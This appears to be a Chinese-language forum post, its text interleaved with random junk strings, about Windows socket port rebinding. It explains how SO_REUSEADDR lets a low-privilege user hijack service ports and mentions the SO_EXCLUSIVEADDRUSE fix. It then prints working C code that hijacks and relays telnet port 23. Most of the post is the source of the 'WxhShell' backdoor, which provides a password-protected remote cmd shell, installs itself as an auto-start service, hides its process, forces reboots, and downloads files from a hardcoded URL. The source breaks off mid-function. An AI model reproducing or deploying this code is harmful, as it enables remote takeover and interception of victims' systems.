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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: : ^ 8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q o<&J f )o\jJrVDf saddr.sin_family = AF_INET; 'V8N +?p.?I saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4w#``UY)' 3 ?Y| bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XU+<?%u}z Pnd`=%w%] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YF+n
b.0. dw.F5?j`b 这意味着什么?意味着可以进行如下的攻击: Wf{O[yL* V([~r, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kdb(I@6 F4<O2!V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?<G]&EK~~] e/->_T(I 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -P&6L\V Lm@vXgMD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 "V&+7"Q `"qP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0IQ'3_ {.yStB.T 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]xguBh ] E*# ]** 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?$e9<lsQq) VUI|.76g #include tzy'G"P| #include )xb|3&+W #include Rb(SBa #include >J|]moSVA DWORD WINAPI ClientThread(LPVOID lpParam); a_h]?5
:c int main() [`]4P& { $9S(_xdI& WORD wVersionRequested; Y?ez9o:/# DWORD ret; Rq[ M29 WSADATA wsaData; R\XKMF3mN3 BOOL val; Cgz D$`~ SOCKADDR_IN saddr; y^]tahbo SOCKADDR_IN scaddr; u_7~TE3W int err; *>VVt8*Et SOCKET s; _ Ro!"YVX SOCKET sc; l2;CQ7 int caddsize; E~LTb)
! HANDLE mt; 9b?SHzAa DWORD tid; nenU)*o wVersionRequested = MAKEWORD( 2, 2 ); Mwgu93? err = WSAStartup( wVersionRequested, &wsaData ); lo'W1p if ( err != 0 ) { q5>v'ZSo printf("error!WSAStartup failed!\n"); F@R1:M9* return -1; 3s"0SLS4 } Q[+ac*F=Y saddr.sin_family = AF_INET; 31EyDU,W RZ1
/#; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Fu^^i& t%530EB3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )P7)0c saddr.sin_port = htons(23); _0gKK2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _gD
pKEaY { mrV!teP printf("error!socket failed!\n"); N?X^O#[ return -1; MLFKH } 0(_l|PScF val = TRUE; 0@2mXO9f" //SO_REUSEADDR选项就是可以实现端口重绑定的 !~Q2|r if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %%cHoprDa { ={hX}"*D printf("error!setsockopt failed!\n"); JoSJH35=: return -1; OLI$1d_ } rpw.]vnn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hK<5KZ/4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QJ|a p4r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e)E$}4 w,Ee>cV]a if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v:+~9w+ { !45.puL0 ret=GetLastError(); 7bDHXn printf("error!bind failed!\n"); ]0L&v7[ return -1; xV%6k{_:G } c*UvYzDZL listen(s,2); qH['09/F6 while(1) `Y?87f:SP { <, 3ROo76 caddsize = sizeof(scaddr); c^`]`xiX //接受连接请求 %7O?JI[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uIU5.\"s if(sc!=INVALID_SOCKET) XNgDf3T { ""Q1| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v`1,4,;,qs if(mt==NULL) |a{Q0: { )/t?!T.[ printf("Thread Creat Failed!\n"); C;(t/zh break; 42L
@w } lD mtQk-SN } fu$R7 CloseHandle(mt); M@W[Bz } _w*}\~`=^ closesocket(s); I5h[%T WSACleanup(); xAggn return 0; :6q]F<oK } V34hFa DWORD WINAPI ClientThread(LPVOID lpParam) hQNe;R5 { ;l}- Z@! / SOCKET ss = (SOCKET)lpParam; F7")]q3I~ SOCKET sc; ;O<9|? unsigned char buf[4096]; pStk/te,XK SOCKADDR_IN saddr; h~wi6^{&Y long num; 5{$LsL DWORD val; OxGE%R, DWORD ret; X>?b#Eva //如果是隐藏端口应用的话,可以在此处加一些判断 n&A'C\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ^T~gEv saddr.sin_family = AF_INET; q64k7<C, saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 16SOIT saddr.sin_port = htons(23); l]<L [Y,E- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) moVbw`T { 81*M= ? printf("error!socket failed!\n"); ~SvC[+t+U return -1; 5Zw1y@k( } Y
wkyq>Rv val = 100; M# 18H<] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .@-$5Jw { qaim6a ret = GetLastError(); 21RP=0Q: return -1; ` ]Ppau } 0P>OJYFr' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +y 87~]] { 34!dYr% ret = GetLastError(); RI2f`p8k return -1;
lWm' } Nm):9YQ/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
rxO2QQ%V { fSDi-I printf("error!socket connect failed!\n"); ~:km]?lz0 closesocket(sc); e?bYjJq closesocket(ss); 76.{0c return -1; ET];%~ ^ } &uUo3qXQ5l while(1) >yJ9U,Y { Ap{}^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G|8%qd //如果是嗅探内容的话,可以再此处进行内容分析和记录
fI\9\x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^`f*'Z num = recv(ss,buf,4096,0); %<8nF5 if(num>0) 1009ES7* send(sc,buf,num,0); 'Pvm8t else if(num==0) - y9>;6 break; Q!,<@b) num = recv(sc,buf,4096,0); $;G{Pyp if(num>0) fIF<g@s send(ss,buf,num,0); r}yG0c, else if(num==0) %r)avI break; fFjH "2WD } Il.Ed-&62 closesocket(ss); /m _kn closesocket(sc); j]0^y}5f+s return 0 ; -G,^1AL> } [Pe#kzLX !se0F.K W0jZOP5_.$ ========================================================== n]+W 3[i kqG0%WtQ 下边附上一个代码,,WXhSHELL .k4W_9 `bKA+c,f ========================================================== e4OeoQ@ > juBw5U< #include "stdafx.h" ;d$qc<2uA U}Hwto`R #include <stdio.h> Da$r ` #include <string.h> g/UaYCjM #include <windows.h> X}P$emr7 #include <winsock2.h>
>ds%].$-\ #include <winsvc.h> EliTFxp #include <urlmon.h> |_u8mV ^7]"kg DA #pragma comment (lib, "Ws2_32.lib") fQ>4MKLw=d #pragma comment (lib, "urlmon.lib")
QH]M ~tB;@e #define MAX_USER 100 // 最大客户端连接数 g/=K. #define BUF_SOCK 200 // sock buffer }Vu\(~ #define KEY_BUFF 255 // 输入 buffer 6I_Hd>4 -oz`"&% #define REBOOT 0 // 重启 ]<DNo&fw #define SHUTDOWN 1 // 关机 9]$8MY a'\By?V]
#define DEF_PORT 5000 // 监听端口 8
6QE/M @+U,Nzd #define REG_LEN 16 // 注册表键长度 6pE :A@ #define SVC_LEN 80 // NT服务名长度 ^0W(hA 52zGJ I*
// 从dll定义API &p<(_|Af typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BcA31% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +5v}q.:+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PZ8U6K' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xr(|* hM@\RPsY // wxhshell配置信息 k&hc m struct WSCFG { o-7>eE}+ int ws_port; // 监听端口 !\[+99F# char ws_passstr[REG_LEN]; // 口令 N12:{U int ws_autoins; // 安装标记, 1=yes 0=no bt+,0\Vg5 char ws_regname[REG_LEN]; // 注册表键名 A{o 'z_zC char ws_svcname[REG_LEN]; // 服务名 64Gi8|P char ws_svcdisp[SVC_LEN]; // 服务显示名 PU9`<3z5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 <I;*[;AK char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U3vEdw<lV int ws_downexe; // 下载执行标记, 1=yes 0=no YEjY8]t char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" z1 i &Ge char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (B>Zaro# >zY \Llv }; F)$K o?Sla_D // default Wxhshell configuration ;@ WV-bLe struct WSCFG wscfg={DEF_PORT, WKA'=,`v "xuhuanlingzhe", H'RL62! 1, 6*GjP ;S= "Wxhshell", VS?@y/\In "Wxhshell", `29TY&p+" "WxhShell Service", tqOi
x/ "Wrsky Windows CmdShell Service", Ccfwax+ "Please Input Your Password: ", ~!%0Z9>ap 1, xSpC'"
" http://www.wrsky.com/wxhshell.exe", k7_I$<YDj "Wxhshell.exe" Z#`0txCF }; UkR3}{i guN4-gGDr< // 消息定义模块 c)C 5KaiPG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .&,[, char *msg_ws_prompt="\n\r? for help\n\r#>"; ST1Ts5I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *2u
E char *msg_ws_ext="\n\rExit."; 8dT'xuch char *msg_ws_end="\n\rQuit."; rlok%Rt4Z char *msg_ws_boot="\n\rReboot..."; }\v^+scD char *msg_ws_poff="\n\rShutdown..."; .BTx&AqU char *msg_ws_down="\n\rSave to "; !jS4!2' hN`gB#N3 char *msg_ws_err="\n\rErr!"; v@ONo?) char *msg_ws_ok="\n\rOK!"; +I|8Q|^SD X7aXxPCq1 char ExeFile[MAX_PATH]; 6(56,i<#/ int nUser = 0; OsW"CF2 HANDLE handles[MAX_USER]; TW`mxj_J2 int OsIsNt; g jG2 #G_/.h@ SERVICE_STATUS serviceStatus; x;$|#]+
SERVICE_STATUS_HANDLE hServiceStatusHandle; L9IGK< [j6~}zu@ // 函数声明 ||TtNH int Install(void); G=M] 8+h int Uninstall(void); !awh*Xj6 int DownloadFile(char *sURL, SOCKET wsh); Oo%!>!Lt, int Boot(int flag); -oBI+v& void HideProc(void); AfWl6a?T8: int GetOsVer(void); rb_Z5T int Wxhshell(SOCKET wsl); :q2YBa void TalkWithClient(void *cs); K, (65>86; int CmdShell(SOCKET sock); }(i(Ar- int StartFromService(void); Mps
*}9 int StartWxhshell(LPSTR lpCmdLine); i|2$8G3 'ND36jHcRD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C@dGWAG VOID WINAPI NTServiceHandler( DWORD fdwControl ); F%6*Df;cSe #0MK(Ut/ // 数据结构和表定义 qR,.W/eS8 SERVICE_TABLE_ENTRY DispatchTable[] = *M!kA65' { |n P_<9[ {wscfg.ws_svcname, NTServiceMain}, P!\hnm)%4 {NULL, NULL} iV)ac\ }; UC9{m252 6zYaA // 自我安装 (:?&G9k
" int Install(void) D?u` { SfI*bJo>V char svExeFile[MAX_PATH]; cqQRU HKEY key; $^vP< strcpy(svExeFile,ExeFile); KVijs1q }z'DWp=uN // 如果是win9x系统,修改注册表设为自启动 J9@}DB if(!OsIsNt) { 5gNLO\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !P|5#.eC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IhW7^(p\ RegCloseKey(key); L~MpY{!3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qyj(L[K J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .w'vD/q; RegCloseKey(key); R`He^ return 0;
&tBA^igXK } R<&FhT] } $Xt;A&l2? } KSOO?X0j else { u( 9X x}"Q8kD // 如果是NT以上系统,安装为系统服务 >~&(P_<b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x YT}>#[ if (schSCManager!=0) EhXiv#CZ { e{t=>vry SC_HANDLE schService = CreateService WFh@%j ( [_%,6e+ schSCManager, T'R,vxP)\ wscfg.ws_svcname, zUQe0Gc.b^ wscfg.ws_svcdisp, ]C)|+`XE@ SERVICE_ALL_ACCESS, A[9NP-~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a;&}zcc* SERVICE_AUTO_START, fOW_h SERVICE_ERROR_NORMAL, ??I:H svExeFile, + zDc NULL, 6$z'wy/* NULL, X8b#[40: NULL, {bTeAfbf] NULL, $I(}r3r NULL ;C_ > ); *aG"+c6| if (schService!=0) G;2[ { p"KV*D9b CloseServiceHandle(schService); /| f[us-w CloseServiceHandle(schSCManager); uo 4xnzc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?waebuj> strcat(svExeFile,wscfg.ws_svcname); ]^!}*
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T&4fBMBp,% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (fd[P|G_] RegCloseKey(key); QT_^M1% return 0;
?360SQ< } w -dI<s } [|z'"Gk{
CloseServiceHandle(schSCManager); W gZ@N } \P@S"QO } pE(sV{PD _Y7:!-n} return 1; x:C@)CAr } 'RQiLUF Loc8eToZ // 自我卸载 !=knppY int Uninstall(void) @SQceQfB { u7 u~ HKEY key; p|s2G~0< s[Gswd if(!OsIsNt) { <)J55++ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Re\o
v x9 RegDeleteValue(key,wscfg.ws_regname); P,`=]Y* RegCloseKey(key); hG~ Uz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +WdL RegDeleteValue(key,wscfg.ws_regname); (-'PD_| RegCloseKey(key); /xf.\Z7< return 0; D9G0k[D, } 85Dm8~ } D{3fhPNU<b } ebD{ pc`& else { %\l0-RA@< &&*wmnWCS{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [[$Mh_MD if (schSCManager!=0) Y)v% { Hq-v@@0 * SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uk|9@Auav if (schService!=0) hvL6zCi { `{WCrw6) if(DeleteService(schService)!=0) { b8e*Pv/ CloseServiceHandle(schService); N&,"kRFFo CloseServiceHandle(schSCManager); _UaPwJ return 0; XJ
_%! } sHF%=Vu CloseServiceHandle(schService); '1lx{UzD } G-sa
L* CloseServiceHandle(schSCManager); |/t K-c6J } JQr36U } ]ci RiMkT( Qv74?B@ return 1; ?Cc$] } [@zkv)D6 gi
'^qi2 // 从指定url下载文件 Yr:>icz| int DownloadFile(char *sURL, SOCKET wsh) %K`4k.gN { 'oT|cmlc HRESULT hr; hPS/CgLq char seps[]= "/"; }0krSzcn#, char *token; o`25 char *file; r"6lLc char myURL[MAX_PATH]; (s.o char myFILE[MAX_PATH]; br10ptEx pM,#wYL strcpy(myURL,sURL); zcZ^s v> token=strtok(myURL,seps); z{AM2Z while(token!=NULL) 2pw>B%1WP) { jw/wcP file=token; J511AoQ{R token=strtok(NULL,seps); x[Hhj' } "NlRSc# $F<%Jl7_Z GetCurrentDirectory(MAX_PATH,myFILE); `yy%<& strcat(myFILE, "\\"); <'VA=orD strcat(myFILE, file); /^NJ)9IB send(wsh,myFILE,strlen(myFILE),0); Z#%}K
Z send(wsh,"...",3,0); "rL"K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sw/J+FO2 if(hr==S_OK) A<]&JbIt return 0; ,Z >JvTnH else OrzM
hQaf return 1; r';Hxa ' I<IC-k"Y } McO@p=M hLCsQYNDU // 系统电源模块 O#A8t<f|M int Boot(int flag) 0,+EV, { g52 1Wdtnn HANDLE hToken; rE9Ta8j6 TOKEN_PRIVILEGES tkp; .Ydr[ @<0h"i
x if(OsIsNt) { $HP/cKu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5^bh.uF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3KB|NS tkp.PrivilegeCount = 1; V,`!rJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `e4o 1* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZE{aS4c if(flag==REBOOT) { dVij <! Lu if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r{bgTG return 0; ?L`MFR } I=Gr^\x= else { "tEj`eR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \z&03@Sw return 0; wV7@D[8 } ':5Trx } xn0s`I[ else {
MYKs??]Y1 if(flag==REBOOT) { "h^A]t;qe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,ZsYXW return 0; 7g {g} } &h98.A*& else { MH C.k= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |k/`WC6As. return 0; }x{rTEq } ]t8{)r } sDW"j\ {Q}!NkF1 return 1; "FD<^
} _Ac/i r[,: WK/b=p|#o // win9x进程隐藏模块 f>.`xC{ void HideProc(void) v)wY { &\CJg'D:m TsoCW]h HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [i2A{(x if ( hKernel != NULL ) WV5r$ { |_xZ/DT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]b5%?^Z# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m~A[V,os FreeLibrary(hKernel); R
(+h)#![ } =vB]*?;9 3tJ=d'U return; !y[}| } a/wUeW U}mL,kj" // 获取操作系统版本 FY_avW int GetOsVer(void) [ flu|v { @S/g,;7" OSVERSIONINFO winfo; 44<9zHK winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H5F\-&cq GetVersionEx(&winfo); [a#?}(( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?uNTUU, return 1; 4i ~eTb else kMfc"JXF return 0; =%:n0S0C" } 'qD'PLV )3D+gu // 客户端句柄模块 U]`'GM/x int Wxhshell(SOCKET wsl) `2
%eDFZ {
ox i
a} SOCKET wsh; gNMKGf\Y struct sockaddr_in client; s0X/1Cq DWORD myID; HM(bR"E MbT
ONt?~v while(nUser<MAX_USER) [="g|/M) { W07-JHV% int nSize=sizeof(client); AaCnTRG wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8gu'dG = if(wsh==INVALID_SOCKET) return 1; 02]8|B(E90 Fyi?,, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y{&{=1# if(handles[nUser]==0) |,M#8NOp: closesocket(wsh); T6/$pJl else !>a&`j2:W nUser++; 8o%<.] } df21t^0/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~:ub U#UVenp@ return 0;
]*kP> } pUCEYR ^^t]vojX // 关闭 socket 82^
z-t{ void CloseIt(SOCKET wsh) MIk #60Ab { |)|vG_ closesocket(wsh); ^6N3n kyZ nUser--; luG023' ExitThread(0); &kr_CP:; } uJ)\P ^>vO5Ho. // 客户端请求句柄 h^[ppc{Z void TalkWithClient(void *cs) <.?^LT { z Et6 F|
,Vw{ SOCKET wsh=(SOCKET)cs; ;ZE<6;#3IP char pwd[SVC_LEN]; ^G7n# char cmd[KEY_BUFF]; ]`CKQ>
o char chr[1]; $@ T6g int i,j; )+Y\NO?O 6a 2w-}Fs while (nUser < MAX_USER) { SoM
]2^ K\Y6
cj if(wscfg.ws_passstr) { rH}Dt@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3LmBV\[" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @4 //ZeroMemory(pwd,KEY_BUFF); E``!-W i=0; )P(d66yq'u while(i<SVC_LEN) { ]VHdE_7) e5"-4udCn // 设置超时 ')yF0 fd_set FdRead; bCY^.S- struct timeval TimeOut; q)z1</B- FD_ZERO(&FdRead); x9{Sl[2& FD_SET(wsh,&FdRead); HPd+Bd TimeOut.tv_sec=8; Ekg N6S`} TimeOut.tv_usec=0; BHRrXC\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U(Hq4D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }~Kyw7? wzLiVe- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CpP$HrQ pwd =chr[0]; B 3,ig9 if(chr[0]==0xd || chr[0]==0xa) { Fm[?@Z&wP pwd=0; Vqv2F @. break; E%J7jA4 } {ZBb.$}RC i++; yW6[Fpw } a s<q !!D:V`F/d // 如果是非法用户,关闭 socket ytBxe] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yrK--C8 } tKqCy\-q Ig?.*j ] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NdED8 iRc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jj^<:t5{rN 4{;8 ]/.a while(1) { E#HU?<q8 _>:=<xyOq ZeroMemory(cmd,KEY_BUFF); }mT%N eS aBA#\eV // 自动支持客户端 telnet标准 GO:1
Z?^ j=0; (1r>50Ge while(j<KEY_BUFF) { exrt|A]_[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;6&=]I cmd[j]=chr[0]; Y$`hudJ& if(chr[0]==0xa || chr[0]==0xd) { dO4U9{+ cmd[j]=0; c_8 mQ break; ;HLMU36q } ^2?O+ =,F j++; w\8rh\Mvh } Y[8co<p efAahH // 下载文件 XtH_+W+O if(strstr(cmd,"http://")) { n-| i send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8Q)mmkI\= if(DownloadFile(cmd,wsh)) da86Jj=k send(wsh,msg_ws_err,strlen(msg_ws_err),0); $nd-[xV else ~PS2[5yo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mLxwJ } r@@eC[' else { Drq{)#7 %RD7=Z-z switch(cmd[0]) { BQfAen] J/&*OC // 帮助 0f#a_ case '?': { ]zR;%p send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XGup,7e9 break; 0|+hm^'_ } :M?') // 安装 !&:W1Jkp( case 'i': { OXCml(>{ if(Install()) 4;~lpty send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2.L6]^N p( else dgqJ=+z 0y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^9V8 M9 break; e!x-:F#4j } 6_}){ZR // 卸载 _R<V8g1f case 'r': { uc (yos if(Uninstall()) \S@=zII_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z$=$oJzB else ujp,D#xHP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eq 1 4 break; t:j07 ,1~ } 6%hEs6-R // 显示 wxhshell 所在路径 [,?A$Z*Z| case 'p': { QO`Sn N} char svExeFile[MAX_PATH]; K}*p(1$u strcpy(svExeFile,"\n\r"); k-PRV8WO strcat(svExeFile,ExeFile); PNxO\Rc send(wsh,svExeFile,strlen(svExeFile),0); %<*pM@ break; E$yf2Q~k } JP% ;rAoJ // 重启 )*<d1$aM case 'b': {
g8qAJ4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]=XL9MI if(Boot(REBOOT)) 7/$Z7J!k send(wsh,msg_ws_err,strlen(msg_ws_err),0); (a4y1k t- else { J3}C T closesocket(wsh); m_ONsZHy ExitThread(0); jE5
9h } Fu$Gl$qV?% break; O09g b[ } `[u>NEb // 关机 !";$Zu case 'd': { 27i<6PAC[A send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NTX+7< if(Boot(SHUTDOWN)) [-94=|S @ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \c^jaK5 else { O
NzdCgY closesocket(wsh); kk./-G ExitThread(0); 3:gO7Uv
} v@1Jhns break; [67f; ?b } hr"+0KeX // 获取shell ZjbG&oc case 's': { XlcDF|?{. CmdShell(wsh); q@yabuN@,j closesocket(wsh); _I"<?sh3 ExitThread(0); <y/AEY1 break; T1W9@9,s } vh.tk^& // 退出 "YU~QOGx@ case 'x': { z{+; '9C send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D7'0o`| CloseIt(wsh); Y `p&*O break; k yA(m;r } ill' KPy // 离开 ED_5V@ case 'q': { T7nX8{l[RG send(wsh,msg_ws_end,strlen(msg_ws_end),0);
0
9'o closesocket(wsh); v8(u9V%?6 WSACleanup(); DMpd(ws exit(1); ^7<m lr break; &y wY?ox } e~[z]GLO% } d33Nx)No } (w ,colGth54 // 提示信息 dllf~:b if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fszeJS}Dw } &=O1Qg=K } P[K
T tce8*:rNH return; mK/P4]9g } &jd<rs5} }ZGpd9D // shell模块句柄 &8L\FAY0%9 int CmdShell(SOCKET sock) 9rc
n*sm { j@\/]oL^We STARTUPINFO si; k$- q;VI ZeroMemory(&si,sizeof(si)); Eu~wbU"% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JU+'UK630 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KftM4SFbK PROCESS_INFORMATION ProcessInfo; "<R
2oo)^ char cmdline[]="cmd"; |VF"Cjw? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X,CFY return 0; LMj'?SuH } nECf2>Yp v ;P#*R3
// 自身启动模式 t O;W?g int StartFromService(void) ofv
1G=P { PX/0 jv typedef struct ?2>v5p { .Sw'Bo!Ee DWORD ExitStatus; H5t`E^E DWORD PebBaseAddress; @x
]^blq DWORD AffinityMask; zhL,BTH DWORD BasePriority; ?E@[~qq_ ULONG UniqueProcessId; 6;V1PK>9 ULONG InheritedFromUniqueProcessId; &h[}5 } PROCESS_BASIC_INFORMATION; p[:%Ck"$7 ZJM^P'r.1c PROCNTQSIP NtQueryInformationProcess; Bq`kVfx k;X1x65uP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zwK;6&(W static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K7Tell\` JPKZU<:+V HANDLE hProcess; M&-/&>n! PROCESS_BASIC_INFORMATION pbi; "A3xX&9-q bUL9*{>G HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ' "
